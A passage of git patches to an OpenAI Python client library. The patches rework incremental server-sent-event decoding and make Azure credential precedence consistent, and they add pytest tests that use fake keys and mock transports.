+ def finish(self) -> Iterator[bytes]:
+ if self._buffer:
+ line = bytes(self._buffer)
+ self._buffer.clear()
+ yield line
+
+
class SSEDecoder:
+ """Decode SSE incrementally without imposing a line or event size limit."""
+
_data: list[str]
_event: str | None
_retry: int | None
_last_event_id: str | None
def __init__(self) -> None:
+ self._reset()
+
+ def _reset(self) -> None:
self._event = None
self._data = []
self._last_event_id = None
self._retry = None
- def iter_bytes(self, iterator: Iterator[bytes]) -> Iterator[ServerSentEvent]:
- """Given an iterator that yields raw binary data, iterate over it & yield every event encountered"""
- for chunk in self._iter_chunks(iterator):
- # Split before decoding so splitlines() only uses \r and \n
- for raw_line in chunk.splitlines():
- line = raw_line.decode("utf-8")
- sse = self.decode(line)
- if sse:
- yield sse
+ def _decode_lines(self, lines: Iterator[bytes]) -> Iterator[ServerSentEvent]:
+ for raw_line in lines:
+ sse = self.decode(raw_line.decode("utf-8"))
+ if sse:
+ yield sse
- def _iter_chunks(self, iterator: Iterator[bytes]) -> Iterator[bytes]:
- """Given an iterator that yields raw binary data, iterate over it and yield individual SSE chunks"""
- data = b""
- for chunk in iterator:
- for line in chunk.splitlines(keepends=True):
- data += line
- if data.endswith((b"\r\r", b"\n\n", b"\r\n\r\n")):
- yield data
- data = b""
- if data:
- yield data
+ def iter_bytes(self, iterator: Iterator[bytes]) -> Iterator[ServerSentEvent]:
+ """Given raw binary data, yield every event encountered."""
+ decoder = _SSELineDecoder()
+ try:
+ for chunk in iterator:
+ yield from self._decode_lines(decoder.feed(chunk))
+ yield from self._decode_lines(decoder.finish())
+ finally:
+ self._reset()
async def aiter_bytes(self, iterator: AsyncIterator[bytes]) -> AsyncIterator[ServerSentEvent]:
- """Given an iterator that yields raw binary data, iterate over it & yield every event encountered"""
- async for chunk in self._aiter_chunks(iterator):
- # Split before decoding so splitlines() only uses \r and \n
- for raw_line in chunk.splitlines():
- line = raw_line.decode("utf-8")
- sse = self.decode(line)
- if sse:
+ """Given async raw binary data, yield every event encountered."""
+ decoder = _SSELineDecoder()
+ try:
+ async for chunk in iterator:
+ for sse in self._decode_lines(decoder.feed(chunk)):
yield sse
-
- async def _aiter_chunks(self, iterator: AsyncIterator[bytes]) -> AsyncIterator[bytes]:
- """Given an iterator that yields raw binary data, iterate over it and yield individual SSE chunks"""
- data = b""
- async for chunk in iterator:
- for line in chunk.splitlines(keepends=True):
- data += line
- if data.endswith((b"\r\r", b"\n\n", b"\r\n\r\n")):
- yield data
- data = b""
- if data:
- yield data
+ for sse in self._decode_lines(decoder.finish()):
+ yield sse
+ finally:
+ self._reset()
def decode(self, line: str) -> ServerSentEvent | None:
# See: https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation # noqa: E501
diff --git a/tests/test_sse_framing.py b/tests/test_sse_framing.py
new file mode 100644
index 0000000000..74f814dfd8
--- /dev/null
+++ b/tests/test_sse_framing.py
@@ -0,0 +1,203 @@
+from __future__ import annotations
+
+import asyncio
+from typing import Iterable, Iterator, AsyncIterator
+from typing_extensions import override
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai._streaming import Stream, SSEDecoder, AsyncStream, ServerSentEvent, _SSELineDecoder
+
+
+async def _aiter(chunks: Iterable[bytes]) -> AsyncIterator[bytes]:
+ for chunk in chunks:
+ yield chunk
+
+
+async def _decode(decoder: SSEDecoder, chunks: Iterable[bytes], sync: bool) -> list[ServerSentEvent]:
+ if sync:
+ return list(decoder.iter_bytes(iter(chunks)))
+ return [event async for event in decoder.aiter_bytes(_aiter(chunks))]
+
+
+def _fragment(data: bytes, size: int) -> list[bytes]:
+ return [data[i : i + size] for i in range(0, len(data), size)]
+
+
+@pytest.mark.parametrize("sync", [True, False])
+@pytest.mark.parametrize("line", [b":x\n", b"data:x\n", b"ignored:x\n"])
+@pytest.mark.parametrize("fragment_size", [1, 97, 100000])
+async def test_unterminated_event(sync: bool, line: bytes, fragment_size: int) -> None:
+ decoder = SSEDecoder()
+ assert await _decode(decoder, _fragment(line * 2000, fragment_size), sync) == []
+ assert decoder._data == []
+ assert decoder._last_event_id is None
+
+
+@pytest.mark.parametrize("sync", [True, False])
+@pytest.mark.parametrize("ending", [b"\n", b"\r", b"\r\n"])
+async def test_every_chunk_boundary(sync: bool, ending: bytes) -> None:
+ frame = b"data:ok" + ending + ending
+ for split in range(len(frame) + 1):
+ events = await _decode(SSEDecoder(), [frame[:split], b"", frame[split:]], sync)
+ assert [event.data for event in events] == ["ok"]
+
+
+@pytest.mark.parametrize("sync", [True, False])
+async def test_many_complete_events(sync: bool) -> None:
+ events = await _decode(SSEDecoder(), [b"data:ok\n\n" * 2000], sync)
+ assert [event.data for event in events] == ["ok"] * 2000
+
+
+@pytest.mark.parametrize("sync", [True, False])
+async def test_event_larger_than_64_mib(sync: bool) -> None:
+ # A fixed regression for the rejected 64 MiB ceiling, not a stress sweep.
+ # Reuse the input chunk and avoid allocating a second full expected payload.
+ def chunks() -> Iterator[bytes]:
+ yield b"data:"
+ chunk = b"x" * (1024 * 1024)
+ for _ in range(64):
+ yield chunk
+ yield b"x\n\n"
+
+ events = await _decode(SSEDecoder(), chunks(), sync)
+ assert len(events) == 1
+ assert len(events[0].data) == 64 * 1024 * 1024 + 1
+ assert events[0].data.count("x") == len(events[0].data)
+
+
+@pytest.mark.parametrize("sync", [True, False])
+async def test_large_legitimate_events(sync: bool) -> None:
+ value = "x" * (2 * 1024 * 1024) + "известни\u2028"
+ frame = ("data:" + value + "\r\n\r\n").encode()
+ events = await _decode(SSEDecoder(), _fragment(frame, 4093), sync)
+ assert [event.data for event in events] == [value]
+ events = await _decode(SSEDecoder(), [b"data:x\n" * 10000 + b"\n"], sync)
+ assert [event.data for event in events] == ["\n".join(["x"] * 10000)]
+
+
+@pytest.mark.parametrize("sync", [True, False])
+async def test_mixed_endings_utf8_and_eof(sync: bool) -> None:
+ frame = "id:one\r\ndata:известни\r\n\ndata:two\n\rdata:unfinished".encode()
+ events = await _decode(SSEDecoder(), _fragment(frame, 1), sync)
+ assert [(event.data, event.id) for event in events] == [("известни", "one"), ("two", "one")]
+
+
+@pytest.mark.parametrize("sync", [True, False])
+@pytest.mark.parametrize("line", [b":x\n", b"ignored:x\n"])
+async def test_ignored_lines_are_discarded_incrementally(sync: bool, line: bytes) -> None:
+ decoder = SSEDecoder()
+
+ def chunks() -> Iterator[bytes]:
+ for _ in range(10000):
+ yield line
+ assert decoder._data == []
+ yield b"data:ok\n"
+ assert decoder._data == ["ok"]
+ yield b"\n"
+
+ async def achunks() -> AsyncIterator[bytes]:
+ for chunk in chunks():
+ yield chunk
+
+ events = list(decoder.iter_bytes(chunks())) if sync else [e async for e in decoder.aiter_bytes(achunks())]
+ assert [event.data for event in events] == ["ok"]
+
+
+def test_partial_line_uses_mutable_buffer() -> None:
+ decoder = _SSELineDecoder()
+ for _ in range(4096):
+ assert list(decoder.feed(b"x")) == []
+ assert isinstance(decoder._buffer, bytearray)
+ assert len(decoder._buffer) == 4096
+ assert list(decoder.feed(b"\n")) == [b"x" * 4096]
+ assert not decoder._buffer
+
+
+class _SyncBody(httpx2.SyncByteStream):
+ closed = False
+
+ @override
+ def __iter__(self) -> Iterator[bytes]:
+ yield b"data:partial\n"
+ raise RuntimeError("stream interrupted")
+
+ @override
+ def close(self) -> None:
+ self.closed = True
+
+
+class _AsyncBody(httpx2.AsyncByteStream):
+ closed = False
+
+ @override
+ async def __aiter__(self) -> AsyncIterator[bytes]:
+ yield b"data:partial\n"
+ raise RuntimeError("stream interrupted")
+
+ @override
+ async def aclose(self) -> None:
+ self.closed = True
+
+
+def test_sync_interruption_closes_response(client: OpenAI) -> None:
+ body = _SyncBody()
+ response = httpx2.Response(200, stream=body, request=httpx2.Request("GET", "https://example.invalid"))
+ stream = Stream(cast_to=object, client=client, response=response)
+ stream._decoder = SSEDecoder()
+ with pytest.raises(RuntimeError, match="stream interrupted"):
+ next(stream)
+ assert response.is_closed and body.closed
+ assert stream._decoder._data == []
+
+
+async def test_async_interruption_closes_response(async_client: AsyncOpenAI) -> None:
+ body = _AsyncBody()
+ response = httpx2.Response(200, stream=body, request=httpx2.Request("GET", "https://example.invalid"))
+ stream = AsyncStream(cast_to=object, client=async_client, response=response)
+ decoder = SSEDecoder()
+ stream._decoder = decoder
+ with pytest.raises(RuntimeError, match="stream interrupted"):
+ await stream.__anext__()
+ assert response.is_closed and body.closed
+ assert decoder._data == []
+
+
+async def test_cancellation_clears_partial_event_and_closes_response(async_client: AsyncOpenAI) -> None:
+ started = asyncio.Event()
+
+ class PausedBody(_AsyncBody):
+ @override
+ async def __aiter__(self) -> AsyncIterator[bytes]:
+ yield b"data:partial\n"
+ started.set()
+ await asyncio.Event().wait()
+
+ body = PausedBody()
+ response = httpx2.Response(200, stream=body, request=httpx2.Request("GET", "https://example.invalid"))
+ stream = AsyncStream(cast_to=object, client=async_client, response=response)
+ decoder = SSEDecoder()
+ stream._decoder = decoder
+ task = asyncio.create_task(stream.__anext__())
+ await started.wait()
+ assert decoder._data == ["partial"]
+ task.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await task
+ assert response.is_closed and body.closed
+ assert decoder._data == []
+
+
+@pytest.mark.parametrize("sync", [True, False])
+async def test_context_exit_after_event(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
+ if sync:
+ response = httpx2.Response(200, content=iter([b"data:{}\n\n", b"data:partial"]))
+ with Stream(cast_to=object, client=client, response=response) as stream:
+ assert next(stream) == {}
+ else:
+ response = httpx2.Response(200, content=_aiter([b"data:{}\n\n", b"data:partial"]))
+ async with AsyncStream(cast_to=object, client=async_client, response=response) as astream:
+ assert await astream.__anext__() == {}
+ assert response.is_closed
From e3d06812535d7f2fe1bc6e57c12bd0ac0dd4acd1 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 22:19:20 +0000
Subject: [PATCH 046/341] fix(azure): resolve one authentication mode (#3689)
## Summary
- Resolve one Azure authentication mode consistently for synchronous and
asynchronous clients. Explicit credentials take precedence over
credential environment variables; conflicting explicit modes raise the
existing `MutuallyExclusiveAuthError`.
- Preserve environment-only AD-token precedence, client-copy behavior,
and callable API-key refresh.
- Keep module-level explicit Azure configuration separate from
environment fallback, including import-time configuration and automatic
Azure selection.
- Add focused regressions for explicit and ambient credential selection,
client copies, HTTP and Realtime configuration, and callable keys.
No dependency or exported client API changes. This is independent of the
Azure redirect-transport changes in #3684.
---
src/openai/__init__.py | 13 +-
src/openai/lib/azure.py | 106 ++++++++++++--
tests/lib/test_azure_auth.py | 272 +++++++++++++++++++++++++++++++++++
tests/test_module_client.py | 89 +++++++++++-
4 files changed, 455 insertions(+), 25 deletions(-)
create mode 100644 tests/lib/test_azure_auth.py
diff --git a/src/openai/__init__.py b/src/openai/__init__.py
index 048fec168e..9b0b7badcc 100644
--- a/src/openai/__init__.py
+++ b/src/openai/__init__.py
@@ -166,7 +166,8 @@
azure_endpoint: str | None = _os.environ.get("AZURE_OPENAI_ENDPOINT")
-azure_ad_token: str | None = _os.environ.get("AZURE_OPENAI_AD_TOKEN")
+# Keep explicit module configuration separate from Azure's environment fallback.
+azure_ad_token: str | None = None
azure_ad_token_provider: _azure.AzureADTokenProvider | None = None
@@ -362,14 +363,11 @@ def _load_client() -> OpenAI: # type: ignore[reportUnusedFunction]
global _client
if _client is None:
- global api_type, azure_endpoint, azure_ad_token, api_version
+ global api_type, azure_endpoint, api_version
if azure_endpoint is None:
azure_endpoint = _os.environ.get("AZURE_OPENAI_ENDPOINT")
- if azure_ad_token is None:
- azure_ad_token = _os.environ.get("AZURE_OPENAI_AD_TOKEN")
-
if api_version is None:
api_version = _os.environ.get("OPENAI_API_VERSION")
@@ -381,11 +379,6 @@ def _load_client() -> OpenAI: # type: ignore[reportUnusedFunction]
if has_openai and (has_azure or has_azure_ad):
raise _AmbiguousModuleClientUsageError()
- if (azure_ad_token is not None or azure_ad_token_provider is not None) and _os.environ.get(
- "AZURE_OPENAI_API_KEY"
- ) is not None:
- raise _AmbiguousModuleClientUsageError()
-
if has_azure or has_azure_ad:
api_type = "azure"
else:
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index 18dd799914..531496a0a9 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -63,6 +63,56 @@ def __init__(self) -> None:
)
+_AzureApiKeyT = TypeVar("_AzureApiKeyT", bound=Union[str, Callable[..., Any]])
+_AzureTokenProviderT = TypeVar("_AzureTokenProviderT", bound=Callable[..., Any])
+
+
+def _resolve_azure_auth(
+ api_key: _AzureApiKeyT | None,
+ azure_ad_token: str | None,
+ azure_ad_token_provider: _AzureTokenProviderT | None,
+) -> tuple[_AzureApiKeyT | str | None, str | None, _AzureTokenProviderT | None]:
+ # The sentinel is internal state carried by copies, not a second credential.
+ if (
+ sum(
+ (
+ api_key is not None and api_key != API_KEY_SENTINEL,
+ azure_ad_token is not None,
+ azure_ad_token_provider is not None,
+ )
+ )
+ > 1
+ ):
+ raise MutuallyExclusiveAuthError()
+
+ # Explicit credentials select the principal. Only an entirely unspecified
+ # configuration may consult the environment; retain AD-token precedence.
+ resolved_api_key: _AzureApiKeyT | str | None = api_key
+ if api_key is None and azure_ad_token is None and azure_ad_token_provider is None:
+ azure_ad_token = os.environ.get("AZURE_OPENAI_AD_TOKEN")
+ if azure_ad_token is None:
+ resolved_api_key = os.environ.get("AZURE_OPENAI_API_KEY")
+
+ return resolved_api_key, azure_ad_token, azure_ad_token_provider
+
+
+def _copy_azure_auth(
+ api_key: _AzureApiKeyT | None,
+ azure_ad_token: str | None,
+ azure_ad_token_provider: _AzureTokenProviderT | None,
+ *,
+ current_api_key: _AzureApiKeyT | str,
+ current_token: str | None,
+ current_provider: _AzureTokenProviderT | None,
+) -> tuple[_AzureApiKeyT | str, str | None, _AzureTokenProviderT | None]:
+ if api_key is None and azure_ad_token is None and azure_ad_token_provider is None:
+ return current_api_key or API_KEY_SENTINEL, current_token, current_provider
+
+ # Prevent OpenAI.copy() from inheriting the old API key when switching to AD.
+ key, token, provider = _resolve_azure_auth(api_key, azure_ad_token, azure_ad_token_provider)
+ return key or API_KEY_SENTINEL, token, provider
+
+
class BaseAzureClient(BaseClient[_HttpxClientT, _DefaultStreamT]):
_azure_endpoint: httpx2.URL | None
_azure_deployment: str | None
@@ -203,6 +253,10 @@ def __init__(
- `api_version` from `OPENAI_API_VERSION`
- `azure_endpoint` from `AZURE_OPENAI_ENDPOINT`
+ Pass at most one of `api_key`, `azure_ad_token`, or `azure_ad_token_provider`.
+ An explicit credential takes precedence over Azure credential environment variables.
+ With no explicit credential, `AZURE_OPENAI_AD_TOKEN` takes precedence over `AZURE_OPENAI_API_KEY`.
+
Args:
azure_endpoint: Your Azure endpoint, including the resource, e.g. `https://example-resource.azure.openai.com/`
@@ -216,11 +270,9 @@ def __init__(
if is_x509_workload_identity(workload_identity):
raise OpenAIError("X.509 workload identity is not supported by Azure clients")
- if api_key is None:
- api_key = os.environ.get("AZURE_OPENAI_API_KEY")
-
- if azure_ad_token is None:
- azure_ad_token = os.environ.get("AZURE_OPENAI_AD_TOKEN")
+ api_key, azure_ad_token, azure_ad_token_provider = _resolve_azure_auth(
+ api_key, azure_ad_token, azure_ad_token_provider
+ )
if _enforce_credentials and api_key is None and azure_ad_token is None and azure_ad_token_provider is None:
raise OpenAIError(
@@ -321,6 +373,15 @@ def copy(
if is_x509_workload_identity(workload_identity):
raise OpenAIError("X.509 workload identity is not supported by Azure clients")
+ api_key, azure_ad_token, azure_ad_token_provider = _copy_azure_auth(
+ api_key,
+ azure_ad_token,
+ azure_ad_token_provider,
+ current_api_key=self._api_key_provider or self.api_key,
+ current_token=self._azure_ad_token,
+ current_provider=self._azure_ad_token_provider,
+ )
+
return super().copy(
api_key=api_key,
admin_api_key=admin_api_key,
@@ -340,8 +401,8 @@ def copy(
_enforce_credentials=_enforce_credentials,
_extra_kwargs={
"api_version": api_version or self._api_version,
- "azure_ad_token": azure_ad_token or self._azure_ad_token,
- "azure_ad_token_provider": azure_ad_token_provider or self._azure_ad_token_provider,
+ "azure_ad_token": azure_ad_token,
+ "azure_ad_token_provider": azure_ad_token_provider,
**_extra_kwargs,
},
)
@@ -384,6 +445,9 @@ def _validate_headers(self, headers: Headers, custom_headers: Headers) -> None:
@override
def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
+ if self._api_key_provider is not None:
+ self._refresh_api_key()
+
headers: dict[str, str | Omit] = {**options.headers} if is_given(options.headers) else {}
options = model_copy(options)
@@ -536,6 +600,10 @@ def __init__(
- `api_version` from `OPENAI_API_VERSION`
- `azure_endpoint` from `AZURE_OPENAI_ENDPOINT`
+ Pass at most one of `api_key`, `azure_ad_token`, or `azure_ad_token_provider`.
+ An explicit credential takes precedence over Azure credential environment variables.
+ With no explicit credential, `AZURE_OPENAI_AD_TOKEN` takes precedence over `AZURE_OPENAI_API_KEY`.
+
Args:
azure_endpoint: Your Azure endpoint, including the resource, e.g. `https://example-resource.azure.openai.com/`
@@ -549,11 +617,9 @@ def __init__(
if is_x509_workload_identity(workload_identity):
raise OpenAIError("X.509 workload identity is not supported by Azure clients")
- if api_key is None:
- api_key = os.environ.get("AZURE_OPENAI_API_KEY")
-
- if azure_ad_token is None:
- azure_ad_token = os.environ.get("AZURE_OPENAI_AD_TOKEN")
+ api_key, azure_ad_token, azure_ad_token_provider = _resolve_azure_auth(
+ api_key, azure_ad_token, azure_ad_token_provider
+ )
if _enforce_credentials and api_key is None and azure_ad_token is None and azure_ad_token_provider is None:
raise OpenAIError(
@@ -654,6 +720,15 @@ def copy(
if is_x509_workload_identity(workload_identity):
raise OpenAIError("X.509 workload identity is not supported by Azure clients")
+ api_key, azure_ad_token, azure_ad_token_provider = _copy_azure_auth(
+ api_key,
+ azure_ad_token,
+ azure_ad_token_provider,
+ current_api_key=self._api_key_provider or self.api_key,
+ current_token=self._azure_ad_token,
+ current_provider=self._azure_ad_token_provider,
+ )
+
return super().copy(
api_key=api_key,
admin_api_key=admin_api_key,
@@ -673,8 +748,8 @@ def copy(
_enforce_credentials=_enforce_credentials,
_extra_kwargs={
"api_version": api_version or self._api_version,
- "azure_ad_token": azure_ad_token or self._azure_ad_token,
- "azure_ad_token_provider": azure_ad_token_provider or self._azure_ad_token_provider,
+ "azure_ad_token": azure_ad_token,
+ "azure_ad_token_provider": azure_ad_token_provider,
**_extra_kwargs,
},
)
@@ -719,6 +794,9 @@ def _validate_headers(self, headers: Headers, custom_headers: Headers) -> None:
@override
async def _prepare_options(self, options: FinalRequestOptions) -> FinalRequestOptions:
+ if self._api_key_provider is not None:
+ await self._refresh_api_key()
+
headers: dict[str, str | Omit] = {**options.headers} if is_given(options.headers) else {}
options = model_copy(options)
diff --git a/tests/lib/test_azure_auth.py b/tests/lib/test_azure_auth.py
new file mode 100644
index 0000000000..c649555ae1
--- /dev/null
+++ b/tests/lib/test_azure_auth.py
@@ -0,0 +1,272 @@
+from __future__ import annotations
+
+import inspect
+from typing import Any
+
+import httpx2
+import pytest
+
+from openai import AzureOpenAI, OpenAIError, AsyncAzureOpenAI
+from openai.lib.azure import API_KEY_SENTINEL, MutuallyExclusiveAuthError
+
+
+@pytest.fixture(autouse=True)
+def azure_environment(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("AZURE_OPENAI_API_KEY", "fake-ambient-key")
+ monkeypatch.setenv("AZURE_OPENAI_AD_TOKEN", "fake-ambient-token")
+ monkeypatch.setenv("OPENAI_API_KEY", "fake-unrelated-openai-key")
+
+
+def make_client(asynchronous: bool, requests: list[httpx2.Request], **kwargs: Any) -> Any:
+ def send(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, json={"data": []})
+
+ transport = httpx2.MockTransport(send)
+ http_client = httpx2.AsyncClient(transport=transport) if asynchronous else httpx2.Client(transport=transport)
+ cls: Any = AsyncAzureOpenAI if asynchronous else AzureOpenAI
+ return cls(
+ azure_endpoint="https://azure.test",
+ api_version="2024-02-01",
+ http_client=http_client,
+ **kwargs,
+ )
+
+
+async def resolve(value: Any) -> Any:
+ return await value if inspect.isawaitable(value) else value
+
+
+def auth(headers: Any) -> dict[str, str]:
+ return {key.lower(): value for key, value in headers.items() if key.lower() in {"authorization", "api-key"}}
+
+
+def credentials(mode: str, value: str = "fake-selected") -> dict[str, Any]:
+ if mode == "api_key":
+ return {"api_key": value}
+ if mode == "azure_ad_token":
+ return {"azure_ad_token": value}
+ return {"azure_ad_token_provider": lambda: value}
+
+
+def expected_auth(mode: str, value: str = "fake-selected") -> dict[str, str]:
+ return {"api-key": value} if mode == "api_key" else {"authorization": f"Bearer {value}"}
+
+
+MODES = ["api_key", "azure_ad_token", "azure_ad_token_provider"]
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("mode", MODES)
+@pytest.mark.parametrize("ambient_token", [False, True])
+async def test_explicit_mode_wins(
+ asynchronous: bool, mode: str, ambient_token: bool, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ if not ambient_token:
+ monkeypatch.delenv("AZURE_OPENAI_AD_TOKEN")
+ requests: list[httpx2.Request] = []
+ client = make_client(asynchronous, requests, **credentials(mode))
+ try:
+ for selected in (client, client.copy(), client.with_options(timeout=20)):
+ await resolve(selected.models.list())
+ _, headers = await resolve(selected._configure_realtime("test-model", {}))
+ assert auth(headers) == expected_auth(mode)
+ assert [auth(request.headers) for request in requests] == [expected_auth(mode)] * 3
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("mode", ["none", "key", "token", "both"])
+async def test_environment_fallback(asynchronous: bool, mode: str, monkeypatch: pytest.MonkeyPatch) -> None:
+ if mode not in {"key", "both"}:
+ monkeypatch.delenv("AZURE_OPENAI_API_KEY")
+ if mode not in {"token", "both"}:
+ monkeypatch.delenv("AZURE_OPENAI_AD_TOKEN")
+ if mode == "none":
+ cls: Any = AsyncAzureOpenAI if asynchronous else AzureOpenAI
+ with pytest.raises(OpenAIError, match="Missing credentials"):
+ cls(azure_endpoint="https://azure.test", api_version="2024-02-01")
+ return
+
+ expected = (
+ expected_auth("api_key", "fake-ambient-key")
+ if mode == "key"
+ else expected_auth("azure_ad_token", "fake-ambient-token")
+ )
+ requests: list[httpx2.Request] = []
+ client = make_client(asynchronous, requests)
+ try:
+ # Copies retain the resolved credential, even after environment changes.
+ monkeypatch.setenv("AZURE_OPENAI_API_KEY", "fake-new-key")
+ monkeypatch.setenv("AZURE_OPENAI_AD_TOKEN", "fake-new-token")
+ for selected in (client, client.copy(), client.with_options()):
+ await resolve(selected.models.list())
+ _, headers = await resolve(selected._configure_realtime("test-model", {}))
+ assert auth(headers) == expected
+ assert [auth(request.headers) for request in requests] == [expected] * 3
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("source", MODES)
+@pytest.mark.parametrize("target", MODES)
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+async def test_copy_replaces_auth_mode(asynchronous: bool, source: str, target: str, method: str) -> None:
+ requests: list[httpx2.Request] = []
+ client = make_client(asynchronous, requests, **credentials(source, "fake-original"))
+ try:
+ copied = getattr(client, method)(**credentials(target))
+ await resolve(copied.models.list())
+ _, headers = await resolve(copied._configure_realtime("test-model", {}))
+ assert auth(headers) == expected_auth(target)
+ await resolve(client.models.list())
+ assert [auth(request.headers) for request in requests] == [
+ expected_auth(target),
+ expected_auth(source, "fake-original"),
+ ]
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("modes", [(MODES[0], MODES[1]), (MODES[0], MODES[2]), (MODES[1], MODES[2]), tuple(MODES)])
+async def test_conflicting_explicit_credentials(asynchronous: bool, modes: tuple[str, ...]) -> None:
+ kwargs = {key: value for mode in modes for key, value in credentials(mode).items()}
+ cls: Any = AsyncAzureOpenAI if asynchronous else AzureOpenAI
+ with pytest.raises(MutuallyExclusiveAuthError):
+ cls(azure_endpoint="https://azure.test", api_version="2024-02-01", **kwargs)
+ client = make_client(asynchronous, [], api_key="fake-original")
+ try:
+ for method in (client.copy, client.with_options):
+ with pytest.raises(MutuallyExclusiveAuthError):
+ method(**kwargs)
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("awaitable_provider", [False, True])
+async def test_provider_refresh_on_retry(asynchronous: bool, awaitable_provider: bool) -> None:
+ if awaitable_provider and not asynchronous:
+ pytest.skip("Synchronous clients require synchronous providers")
+ requests: list[httpx2.Request] = []
+ calls = 0
+
+ def token() -> str:
+ nonlocal calls
+ calls += 1
+ return f"fake-token-{calls}"
+
+ async def async_token() -> str:
+ return token()
+
+ def send(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(500 if len(requests) == 1 else 200, json={"data": []}, headers={"retry-after-ms": "1"})
+
+ cls: Any = AsyncAzureOpenAI if asynchronous else AzureOpenAI
+ transport = httpx2.MockTransport(send)
+ http_client = httpx2.AsyncClient(transport=transport) if asynchronous else httpx2.Client(transport=transport)
+ client = cls(
+ azure_endpoint="https://azure.test",
+ api_version="2024-02-01",
+ http_client=http_client,
+ azure_ad_token_provider=async_token if awaitable_provider else token,
+ max_retries=1,
+ )
+ try:
+ await resolve(client.with_options().models.list())
+ assert [auth(request.headers) for request in requests] == [
+ expected_auth("azure_ad_token", "fake-token-1"),
+ expected_auth("azure_ad_token", "fake-token-2"),
+ ]
+ _, headers = await resolve(client._configure_realtime("test-model", {}))
+ assert auth(headers) == expected_auth("azure_ad_token", "fake-token-3")
+ assert calls == 3
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_internal_sentinel_is_not_a_conflicting_credential(asynchronous: bool) -> None:
+ requests: list[httpx2.Request] = []
+ client = make_client(
+ asynchronous, requests, api_key=API_KEY_SENTINEL, azure_ad_token_provider=lambda: "fake-selected"
+ )
+ try:
+ await resolve(client.models.list())
+ assert auth(requests[0].headers) == expected_auth("azure_ad_token")
+ finally:
+ await resolve(client.close())
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_callable_api_key_refresh_and_copy(asynchronous: bool, monkeypatch: pytest.MonkeyPatch) -> None:
+ requests: list[httpx2.Request] = []
+ calls = 0
+
+ def key() -> str:
+ nonlocal calls
+ calls += 1
+ return f"fake-key-{calls}"
+
+ async def async_key() -> str:
+ return key()
+
+ def send(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(
+ 500 if len(requests) == 1 else 200,
+ json={"data": []},
+ headers={"retry-after-ms": "1"},
+ )
+
+ cls: Any = AsyncAzureOpenAI if asynchronous else AzureOpenAI
+ transport = httpx2.MockTransport(send)
+ http_client = httpx2.AsyncClient(transport=transport) if asynchronous else httpx2.Client(transport=transport)
+ provider = async_key if asynchronous else key
+ client = cls(
+ azure_endpoint="https://azure.test",
+ api_version="2024-02-01",
+ http_client=http_client,
+ api_key=provider,
+ max_retries=1,
+ )
+ try:
+ # Retry, a copy after refresh, and a realtime connection all refresh.
+ await resolve(client.models.list())
+ copied = client.copy()
+ await resolve(copied.models.list())
+ websocket_headers: list[dict[str, str]] = []
+
+ def connect(*_args: Any, **kwargs: Any) -> Any:
+ websocket_headers.append(auth(kwargs["additional_headers"]))
+ return None
+
+ async def async_connect(*args: Any, **kwargs: Any) -> Any:
+ return connect(*args, **kwargs)
+
+ monkeypatch.setattr("websockets.sync.client.connect", connect)
+ monkeypatch.setattr("websockets.asyncio.client.connect", async_connect)
+ for resource in (copied.realtime, copied.beta.realtime):
+ await resolve(resource.connect(model="test-model").enter())
+ assert websocket_headers == [expected_auth("api_key", f"fake-key-{i}") for i in (4, 5)]
+ assert [auth(request.headers) for request in requests] == [
+ expected_auth("api_key", f"fake-key-{i}") for i in (1, 2, 3)
+ ]
+ assert calls == 5
+
+ # Replacing a refreshed callable key must discard both its cached value
+ # and provider. Switching back must retain the callable, not that cache.
+ calls_before_ad_request = calls
+ ad_client = copied.with_options(azure_ad_token="fake-selected")
+ await resolve(ad_client.models.list())
+ assert auth(requests[-1].headers) == expected_auth("azure_ad_token")
+ assert calls == calls_before_ad_request
+ restored = ad_client.with_options(api_key=provider)
+ await resolve(restored.models.list())
+ assert auth(requests[-1].headers) == expected_auth("api_key", "fake-key-6")
+ finally:
+ await resolve(client.close())
diff --git a/tests/test_module_client.py b/tests/test_module_client.py
index e35a4ad901..4ef7cf51b6 100644
--- a/tests/test_module_client.py
+++ b/tests/test_module_client.py
@@ -1,6 +1,8 @@
from __future__ import annotations
import os as _os
+import sys
+import subprocess
import httpx2
import pytest
@@ -101,7 +103,7 @@ def test_http_client_option() -> None:
import contextlib
from typing import Iterator
-from openai.lib.azure import AzureOpenAI
+from openai.lib.azure import AzureOpenAI, MutuallyExclusiveAuthError
from openai.lib.bedrock import BedrockOpenAI
@@ -187,6 +189,91 @@ def test_azure_azure_ad_token_provider_version_and_endpoint_env() -> None:
assert client._azure_ad_token_provider() == "token"
+@pytest.mark.parametrize("forced", [False, True])
+@pytest.mark.parametrize("mode", ["api_key", "azure_ad_token", "azure_ad_token_provider", "environment"])
+def test_azure_module_explicit_auth_precedence(forced: bool, mode: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def send(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, json={"data": []})
+
+ with fresh_env():
+ openai.api_type = "azure" if forced else None
+ _os.environ["AZURE_OPENAI_API_KEY"] = "fake-ambient-key"
